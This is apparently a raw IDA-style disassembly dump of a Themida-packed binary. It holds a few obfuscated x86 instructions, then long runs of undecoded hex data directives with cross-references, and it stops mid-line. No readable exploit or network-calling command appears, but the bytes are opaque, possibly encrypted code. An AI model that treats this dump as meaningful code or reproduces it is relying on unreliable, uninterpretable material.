pop edx pop eax mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 23h, 21h, 0EFh dd 0CCE1E511h, 0A4F09D6Ah, 0DFB855EBh, 305E8CEh, 48E0FFC5h dd 9B1AE0DAh, 2E03268Ah, 0D1050504h, 6961CAD2h, 0B13C5165h dd 0DD389665h, 3E4D0B71h, 25760C8Eh, 8E3C2616h, 0DE631806h dd 12441DFDh, 3932A701h, 625ED516h, 0FB424326h, 7D2775E4h dd 2B037E37h, 717665BBh, 676A0ABh, 0F1EC4EAh, 0E86C1884h dd 9, 5389E48Dh, 5031A3Dh, 0E08166A5h, 0E95E9BDCh, 0Bh dd 31263751h, 7DDBE553h, 8174E24Bh, 72ACC6h, 9E900h, 0F2D90000h dd 493370C4h, 0BA0090AFh, 0 dd 262202BFh, 3234FF5Fh, 5BBEDD80h, 0FE9h, 0CFBAFF00h dd 0F14EA70Ch, 4FCCB41Dh, 0D084CBD0h, 9A4AF381h, 8A0F3866h dd 6, 8A0Fh, 0EB810000h, 31EC66B1h, 81F7C580h, 9BD478F3h dd 81665333h, 8FD05AC0h, 880F1604h, 4, 2690BF66h, 2897EA81h dd 0C2814CEDh, 4CED2893h, 48F08166h, 8FA8111h, 0FFFFF8Eh dd 0FFFF9485h, 880F60FFh, 3, 57C7F680h, 615B6160h, 0BD83C08Bh dd 5E21EA9h, 83097500h, 0E21805BDh, 19740005h, 0C08B5350h dd 421B8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h dd 5BD8358h, 5E218h, 53501774h, 421B8h, 5D858900h, 8D05E231h dd 0E4AFE99Dh, 5BD3FF05h, 8BC08B58h, 0E22A959Dh, 4985C605h dd 5605E20Ah, 0A8B85268h, 0A1B5FF9Ch, 8D05E216h, 0E57A6185h dd 6AD0FF05h, 10006804h, 0B5FF0000h, 5E21D9Dh, 0D0FF006Ah dd 850FC085h, 0Dh, 0B8h, 198D8D00h, 0FF05E272h, 8BC88BE1h dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 5E20695h dd 0E840F00h, 8B000000h, 0E206959Dh, 0CD858B05h, 8905E214h dd 8D525103h, 0E27B7D85h, 8BD0FF05h, 8BF18BFAh, 0F3C88BD1h dd 4985C6A4h, 5605E20Ah, 1F6D3968h, 0A1B5FFD4h, 8D05E216h dd 0E57A6185h, 68D0FF05h, 8000h, 0FF52006Ah, 83C08BD0h dd 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h, 8B535019h dd 421B8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h dd 0BD83585Bh, 5E21805h, 50177400h, 421B853h, 85890000h dd 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0C08B585Bh, 6959D8Dh dd 38B05E2h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h dd 3BE9h, 0BD8B6000h, 5E21EDDh, 3304EF83h, 0BBC18BC9h dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh dd 41FFFFFFh, 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh dd 9D8DC88Bh, 5E20501h, 1300B8h, 11858900h, 0E805E21Fh dd 0 dd 0D0558h, 3890000h, 1300E9h db 0 byte_55AF05 db 3 dup(0) ; DATA XREF: Themida_:004EE1B8o dd 360h dup(0) db 3 dup(0) byte_55BC8B db 0 ; DATA XREF: Themida_:004EF2A8o ; Themida_:004F095Co dd 15Eh dup(0) dd 75CAFE00h, 0CAA80461h, 0B08A40E9h, 0ABA80461h, 875EAD5h dd 0F0A80466h, 0BA8A40EEh, 0AD57AE5Dh, 788A40EEh, 0ABA80467h dd 0C375EAD5h, 93A80467h, 4D8A40EFh, 1DA80464h, 0C78A40ECh dd 0ABA80464h, 2575EAD5h, 0B2D1D42Fh, 0C00310C2h, 5140B4F2h dd 0A36D90A7h, 0D121544Ah, 4062F07Eh, 0B396D42Fh, 0C00310C2h dd 5140B4FAh, 0A21C90A7h, 0D121544Ah, 4062F04Ah, 0B345D42Fh dd 0C00310C2h, 5140B4C6h, 0ADC890A7h, 0D121544Ah, 4062F046h dd 0BC2ED42Fh, 0C00310C2h, 5140B4D2h, 0AD4590A7h, 0D121544Ah dd 4062F052h, 0BDB8D42Fh, 0C00310C2h, 5140B4DEh, 0ACDB90A7h dd 0D121544Ah, 4062F0AAh, 0BD3AD42Fh, 0C00310C2h, 5140B426h dd 0AC4190A7h, 0D121544Ah, 4062F0A2h, 5012B8C3h, 0CEDF152Ah dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AD6C26C0h, 0A8ED96A7h dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah dd 0BA415564h, 0CE75EAD5h, 0F13AAE63h, 848FF73Ah, 11AB5342h dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0BA8DDB2Fh, 947510C2h dd 0D9020112h, 0AD6430A0h, 0EC79AEA7h, 41AE51A1h, 7122DC09h dd 0BA8FFDC4h, 0DF103773h, 0C821732Ah, 0BC467428h, 0FD5BEA2Fh dd 508C152Bh, 60009881h, 0ABADB94Ch, 0EFD2A5FBh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 0AD6CE6C0h, 5CDDDAA7h, 828668A1h, 54A8ADE7h dd 0BACC152Ah, 0B6B5D830h, 0CE529E2Fh, 9783FC69h, 0EFE2A5B9h dd 0D9F9FA31h, 0AD6430A0h, 0D79AEA7h, 2320949Ah, 328C551Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 458A15C2h, 0BE290BA2h, 4062F260h, 0DFA02429h dd 4D1957h, 54A8515Eh, 0D775532Ah, 514A4C2Bh, 0CE19CDA1h dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 0AD6430A0h, 0D79AEA7h dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah dd 0D4A7B222h, 860085E1h, 7122DC08h, 0BA8FFDC4h, 0FEF8E173h dd 0ABAF9FA7h, 8557544Ah, 6E20D6A0h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 514A4107h, 0C8204526h dd 0BC467428h, 0F55BEA2Fh, 949BFB2Bh, 2E853186h, 50AC5962h dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h dd 580387D5h, 8C235440h, 0EF491786h, 0BA8DDB2Fh, 947510C2h dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h dd 108A1DE8h db 29h byte_55C5C9 db 0BDh, 2Bh, 90h ; DATA XREF: Themida_:004EDE30o db 0D6h, 75h word_55C5CE dw 3001h ; DATA XREF: Themida_:004EEB18o dd 58D5DAAAh, 457650EDh, 0F8A851A2h, 0CC18EA80h, 0DFADB3BFh dd 8558B9E2h, 7132DC08h, 0BA8FFDC4h, 94103771h, 0CF2173E3h dd 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h dd 514A4C2Bh, 7726DDA1h, 0CE25FB63h, 4062FB0Fh, 0ECCE825Dh dd 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh dd 7732732Ah, 0D903376Bh, 0AD6430B0h, 327BAEA7h, 234B9592h dd 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh dd 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah dd 0FFCEB824h, 0ABAF8FA7h, 8757544Ah, 320A09Ah, 0CE25FB0Eh dd 4062FB0Fh, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 0AD600EC0h, 0A8ED96A7h, 458A152Ah, 0DFA02429h, 79261957h dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h dd 4062F07Ah, 7332DCF1h, 0BA8FFDCCh, 0A8EDD871h, 458A42C3h dd 58DDAEA2h, 0C88260D5h, 0BC4D3138h, 0DF07462Fh, 5140B785h dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0A0E68FA7h dd 0D9FB544Ah, 0AD6C32B0h, 0DD7BAEA7h, 5863E96Fh, 0ABA851A2h dd 3075195Fh, 2C32DCAAh, 168FFDCFh db 2Fh byte_55C781 db 0CBh, 8Fh, 0B2h ; DATA XREF: Themida_:004F89AAo dd 967510C2h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h dd 3044BAh, 28D8D00h, 6A05E8ECh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0F57DC351h, 0B70FD1BBh dd 12E850D0h, 36000000h, 25C1EB80h, 2B235447h, 6170E2AFh dd 0CA9C5C27h, 0D88B6628h, 8D895B5Eh, 5E20BE9h, 0DBBF0FF5h dd 76185C7h, 694805E2h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0FF7CAC3h, 66FD7E3Dh dd 739CA81h, 1B5585C7h, 5E2h, 11E80000h, 0A9000000h, 0E25C0D3Fh dd 0ADF7E0Fh, 0FCADC123h, 53A458C0h, 0BE9h, 18022600h dd 0A3EDD65Fh, 7EB47740h, 0E1DEB858h, 0B5FF6671h, 5E21D05h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h dd 0E1958BAAh, 0FF05E21Eh, 0E20B1595h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 99B6F7DBh, 6890Fh, 85330000h, 5E20B55h, 32D58D29h, 6A05E2h dd 0AB995FFh, 0C08B05E2h, 81786CEBh, 67DFD10Ch, 11A55943h dd 858510C3h, 474D31F8h, 852790CCh, 0B42BAAC2h, 4A0F0E02h dd 0A3D43EBh, 50FB9799h, 8569ED94h, 1580C094h, 37D2D67Ah dd 0EAEA7A71h, 0BBEAB57Ah, 5CE7FB9Ch, 22E1A35Ch, 44EC076Ch dd 0FBE60A88h, 0A155EE31h, 4E69447Bh, 88E767C3h, 2C563DF7h dd 9C162273h, 854E5384h, 3693A573h, 18559FBEh, 0ED55CF08h dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 2F062DFDh, 2F2983FDh dd 2F3EC0FDh, 2FB226FDh, 2F7710FDh, 2F950EFDh, 2FE4D7FDh dd 2F5CB4FDh, 2F00A3FDh, 2F29EEFDh, 2F3EA7FDh, 2FB418FDh dd 2F7065FDh, 2F925AFDh, 2FE327FDh, 2F5AE3FDh, 2F0637FDh dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 328676FDh, 324E75A8h dd 7ACB75A8h, 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h dd 8AD5F070h, 0FFA67015h, 7F7F993Fh, 8A6AF070h, 0FF6C7015h dd 7F1A997Fh, 8AA6F070h, 0FF357015h, 7FB69943h, 8A10F070h dd 0FF1E7015h, 7F23997Bh, 951BF070h, 0FF7B7015h, 7F919977h dd 9420F070h, 0FFD77015h, 7FC79973h, 9439F070h, 0FF427015h dd 7F0D996Fh, 9436F070h, 0FFF07015h, 7F54996Bh, 9541F070h dd 0FFA67015h, 7F7F995Fh, 9420F070h, 0FF6C7015h, 7F1A9967h dd 9573F070h, 0FF357015h, 7FB69963h, 9530F070h, 0FF1E7015h dd 7F23995Fh, 95BCF070h, 0FF7B7015h, 7F91994Fh, 95C4F070h dd 0FFD77015h, 7FC7994Bh, 950CF070h, 0FF427015h, 7F0D9947h dd 9516F070h, 0FFF07015h, 7F54995Bh, 8A45F070h, 0FFA67015h dd 7F7F9957h, 8A7DF070h, 0FF6C7015h, 7F1A9953h, 67F0F076h dd 0FF35701Fh, 7FB69906h, 6A8AF076h, 0FF1E701Fh, 7F239902h dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 92527A17h, 3FD525F8h dd 80ADFDF5h, 22929D11h, 7ACFB734h, 29B723ACh, 7A1A20ADh dd 277975FDh, 948C987Ch, 0FFA07015h, 7FC7997Ch db 7Dh, 0C8h word_55CAF6 dw 9616h ; DATA XREF: Themida_:004EF0D4o dd 9CF7015h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 7F549902h dd 2B96FEBDh, 7A2F7A45h, 85028AFDh, 0F7CE9D11h, 9209F748h dd 0FCC6F8F8h, 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 85BA8AFDh dd 0F7929D11h, 9227F748h, 0FCD1F8F8h, 23228A50h, 0F787BC1Fh dd 7F54997Ch, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh dd 81708A57h, 0D1F79D11h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh dd 0EFD0DE9Bh, 7F7F9906h, 9208DE9Bh, 7AE57795h, 72F3360Bh dd 0EF866E88h, 7F549906h, 7954C54Dh, 81BA8AADh, 20929D11h dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh dd 85B5FF4Dh, 921E8E68h, 5F1F2FF8h, 71DA51FDh, 0B9F5133Fh dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7F919902h dd 967AC070h, 8A5D7015h, 0D02C7F51h, 966CE002h, 92087015h dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7F239985h, 969DC87Dh dd 0FF37015h, 90FCF8ECh, 2AB99D11h, 7A5C6115h, 781B9DFDh dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch dd 7F549985h, 9626C87Dh, 0F2F7015h, 9012F8F1h, 2ACE9D11h dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 92508A68h, 3DC3F8F8h dd 0F02A9D0Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh dd 0F9BB5E3Ah, 78357115h, 81CB8A3Eh, 0CE2A9D11h, 0E96514Ah dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7F239906h, 0FAEA917Dh dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h dd 0B995FCF9h, 7ACB7345h, 85708AFDh, 0F7F79D11h, 9295AB60h dd 39A0F8F8h, 7A4ECD3Eh, 0EFD075FDh, 7F7F9902h, 0F1CEB57Eh dd 0EF1A8935h, 7F1A9906h, 0B98E9757h, 8543BE15h, 7B1DFF02h dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 92DE2217h, 86EAFCF8h dd 9631CF7Dh, 75E57015h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh dd 7FB69902h, 79ADFCBDh, 0F1929D10h, 5179F835h, 85E09D0Fh dd 921E8E6Fh, 3C7FFDF8h, 6D04801Fh, 795E75FDh, 92C2767Fh dd 0E01A35F8h, 7F2387E2h, 0F3E1B67Eh, 644B22FEh, 797975FDh dd 92517677h, 77ECF8F8h, 892A9D0Fh, 722F2B59h, 85CB75FDh dd 92098A6Fh, 7E0AF6F8h, 7C718589h, 7ABC7244h, 4B5A7DFDh dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h dd 90162FFDh, 7F2387C3h, 97E2CF70h, 0F797015h, 7A71CCF5h dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7F7F98FAh, 7BD3497Dh dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh dd 92DD0217h, 7D25F8F8h, 0F1CE9D10h, 725C7D80h, 89F275FDh dd 0B8B01459h, 0F7DC75F9h, 92B37240h, 0C3EF46F8h, 7A9775F5h dd 0B9AADF0Eh, 7D58F89Dh, 0FBF79D10h, 7B7874C2h, 0FBB000FCh dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 92087240h dd 7AF3CDF8h, 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh dd 927A6178h, 8BD08AF8h, 8E8CAh, 8AB40000h, 0FDE05BB9h dd 60589284h, 0C08161F5h, 5943h, 4C09EAB9h, 66DB332Fh dd 7416C981h, 8B0334FFh, 0BF0F5ACFh, 13C281FFh, 807E2829h dd 0F28190C9h, 1DBDDC4Eh, 814EF180h, 0E02645C2h, 5E90Bh dd 0B9380000h, 5290AA19h, 0C0A7B966h, 0F18048Fh, 0B8Ah dd 6E900h, 0E2410000h, 93166342h, 0AE95756h, 0CA000000h dd 49DC9887h, 0DF72AB62h, 835F5F5Eh, 810F04EBh, 6, 1663E681h dd 0FB816E33h, 0FFFFA74Ch, 0FF8E850Fh, 0BF0FFFFFh, 16EBF6h dd 4 dup(0) dd 1000000h, 3E401h, 8B05E800h, 0E20B118Dh, 0BA665005h dd 48954D8h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0E578FB3Fh, 0EBF3652h, 6A12B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C2C35343h, 0F5F1C40h dd 282h, 6A3FB100h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 9D896FA0h, 5E21871h, 0F499858Dh dd 0BD8B05E8h, 5E20C9Dh, 0C8C0F50h, 50000000h, 50310F52h dd 5A310F52h, 89585A58h, 0AE82404h, 0E7000000h, 0DD975B86h dd 0DC119474h, 6A5BF0h, 818CB966h, 8DB5006Ah, 1E2D95FFh dd 665105E2h, 54B2E181h, 649E95Ah, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0A1EEC5C3h dd 0BA49A49Eh, 6850Fh, 958B0000h, 5E20561h dword_55D150 dd 0E8h, 0ED815D00h, 5E8F49Eh, 0E855006Ah, 3, 5DC35D20h ; DATA XREF: Themida_:004EFDBCo dd 4246C89h, 4244481h, 15h, 96C35545h, 3CBA668Fh, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 1424FC71h, 5BD7BF66h, 0FFB15568h, 50606093h dword_55D1A8 dd 5A310F52h, 8D0F58h, 61000000h, 0BA616060h, 62C6D14Dh ; DATA XREF: Themida_:004EEE34o dd 4816161h, 5E4B24h, 51006A6Ch, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 4FF843B8h, 667C1A2Ch dd 9D89D18Bh, 5E22105h, 0AB995FFh, 0BD8B05E2h, 5E22B61h dd 64D18166h, 80B58D9Ch, 0E905E8F3h, 5, 2F61E8F4h, 5206C70Bh dd 336D6765h, 0E21BA9BDh, 446C705h, 6C636E6Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 10C35242h, 68DAE5Eh dd 0BD8B5B13h, 5E22651h, 610846C7h, 6A007373h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 1E48C353h, 0D38166FFh, 6AA7C8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 6CC35242h, 860F856Fh, 4, 5AFE8B50h dd 0F380858Dh, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 2EF93CC3h, 0E8BA0E07h, 9E990h, 58DE0000h dd 491DA462h, 50A188E1h, 94EBBAB9h, 6A9003h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AF0C3C3h dd 0F8988D9h, 0B8Eh, 5E800h, 0E1EB0000h, 59D19F1Ah, 75D8D89h dd 0BB5105E2h, 3752325Ah, 9995FF5Bh, 0BB05E231h, 0A390E04h dd 840FC00Bh, 30h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 98C35747h, 29E80A02h, 0E2017585h, 3ADE905h dd 95090000h, 5E22451h, 4E8h, 12C00h, 0AE800h, 17260000h dd 0FCA4A3B1h, 6BF2F669h, 8E8h, 0E1783700h, 0A526B3E9h dd 9E9E8h, 30C00000h, 0F2C464D4h, 5B10B401h, 8B665059h dd 24448BF8h, 11BF6604h, 0BF008BF7h, 0E90FCBh, 4244489h dd 9E860h, 7D470000h, 9FED1A9Fh, 0E9209B4Ah, 12h, 6C85B121h dd 66FBBDF0h, 95DC24C4h, 0FD22188Fh, 615FB15Eh, 699D3158h dd 0FF05E20Eh, 0E20AB995h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0AA581646h dd 0DE8h, 0A2ADF700h, 26E484CFh, 40AA2950h, 8D332974h dd 5E20615h, 80B58D5Ah, 0F05E8F3h, 688h, 2D9D0100h, 0C705E207h dd 34383106h, 53006A36h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 4B396DE7h, 0C7E9B7CEh, 2D370446h dd 8D293134h, 5E214F5h, 846C7h, 57000000h, 6A59FCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 64C35141h, 0A35E1FB8h dd 0E9609AEBh, 0Eh, 0B03EEE98h, 37AE68F4h, 44A154DDh, 8E0F342Fh dd 2, 8D615F52h, 0E8F38085h, 0B1BD3305h, 5005E20Eh, 11E9h dd 1D41B200h, 526A9B44h, 54A652B5h, 9ED355F0h, 489A8A6h dd 14E924h, 21620000h, 645B2B8h, 0C0B6FC9Bh, 4A3D0352h dd 9F4B78B1h, 95FF5218h, 5E23199h, 71D9529h, 0C00B05E2h dd 3D840Fh, 11E90000h, 9E000000h, 7AF27F79h, 1197FFEDh dd 0AE5C797Dh, 2AE9D643h, 1EEE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1240982Bh dd 0E8A524BBh, 4, 12Ch, 1E8D0Fh, 0E8600000h, 6, 0C07BAD86h dd 0E95E78A1h, 0Bh, 7B14B8E3h, 0EC9DEE09h, 61B6C03Ah, 0A1BB6650h dd 24448B57h, 0E0BA6604h, 50008B78h, 59D18B50h, 2444895Bh dd 0BDBF6604h, 6A5889h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0E3FC96C3h, 1D5D8D8Bh, 95FF05E2h dd 5E20AB9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0FEC35343h, 3784C0F8h, 0B58D3563h, 5E8F380h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 6D266B25h dd 4606C702h, 6A656C69h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 56BEC350h, 26A19589h dd 0C75B05E2h, 6F6D0446h, 0CA8B636Eh, 6C0846C7h, 0B5737361h dd 0C46C7B0h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EFC35242h dd 0C316B9F7h, 0BD0350C2h, 5E2013Dh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0B36666C3h dd 80858DD5h, 2905E8F3h, 0E20BF1B5h, 0CE8B5005h, 66240489h dd 33F3F281h, 319995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 548529C3h, 0B0148E9h dd 0E2094195h, 0E6EE8005h, 840FC00Bh, 0Ch, 2CE9FE8Bh, 66000000h dd 4DBAD381h, 0FFFA6BE9h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 49958BA1h dd 8D05E221h, 0E27219B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 2B82DD2Dh dd 0B80Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 89AB2FC3h, 0AFBB988h, 8E91A3Bh dd 69000000h, 0F5385CA3h, 0FF4D2208h, 0C18D8BE6h, 8B05E221h dd 0F404EBC1h, 0E9581E8Bh, 56Ch, 616D29AFh, 0CAD0D400h dd 933F8377h, 656127AEh, 0CDC9D704h, 0DCECFB6h, 0B3261B87h dd 5A80E1EDh, 0F94856h, 0D1501CBAh, 0F043C788h, 0D7171EF9h dd 0D823696Eh, 0D5946499h, 0CB009B27h, 18B9C172h, 0ADAE0BFCh dd 64FC18B9h, 0FF34030Fh, 29696ED3h, 6EBDEAB0h, 51B4F2E7h dd 5BA2E6EEh, 59A591DBh, 4DFC1AA0h, 0F9C2CE0Ah, 92388476h dd 0A4BEC6Fh, 0DBFC18B9h, 0E6145B6Ch, 1A680D06h, 0E825E766h dd 19A7529Dh, 4A3A2482h, 337F7D3Ch, 6935A7AAh, 61D277F6h dd 0ABFC1885h, 18854D0Eh, 0A3AF84FCh, 5217F3D4h, 0BB84E7A5h dd 0FC188587h, 2D7846B5h, 147735A2h, 4CB480CAh, 4FC2B234h dd 3A044F92h, 6139h, 696E0D00h, 0EB27ACFFh, 0E5526779h dd 7586B986h, 2B9DFC18h, 0DFF9D45Bh, 1563A04h, 68000000h dd 4FE8666Eh, 0FC18B90Eh, 5203EDCAh, 92B898EFh, 0F815B4A5h dd 6933D7Eh, 0C333B2C9h, 0BA3DA4C7h, 0A3E5A9FCh, 2B6F67D3h dd 39857534h, 5287FAA0h, 783B4E54h, 0A9E83381h, 18294F00h dd 7CA986FCh, 6D6E9F6Bh, 599DC427h, 5287CE5Dh, 0E94E3154h dd 0FC18B968h, 5A9FC2B9h, 67E1C95Ch, 1546E38Fh, 0CCFC18B9h dd 72F43A77h, 0F9C73482h, 2D6B6CDDh, 5F6397DEh, 5222A4CCh dd 41112DFh, 0A5B93Ah, 77360000h, 74E10482h, 0EFAE9753h dd 5807A0EEh, 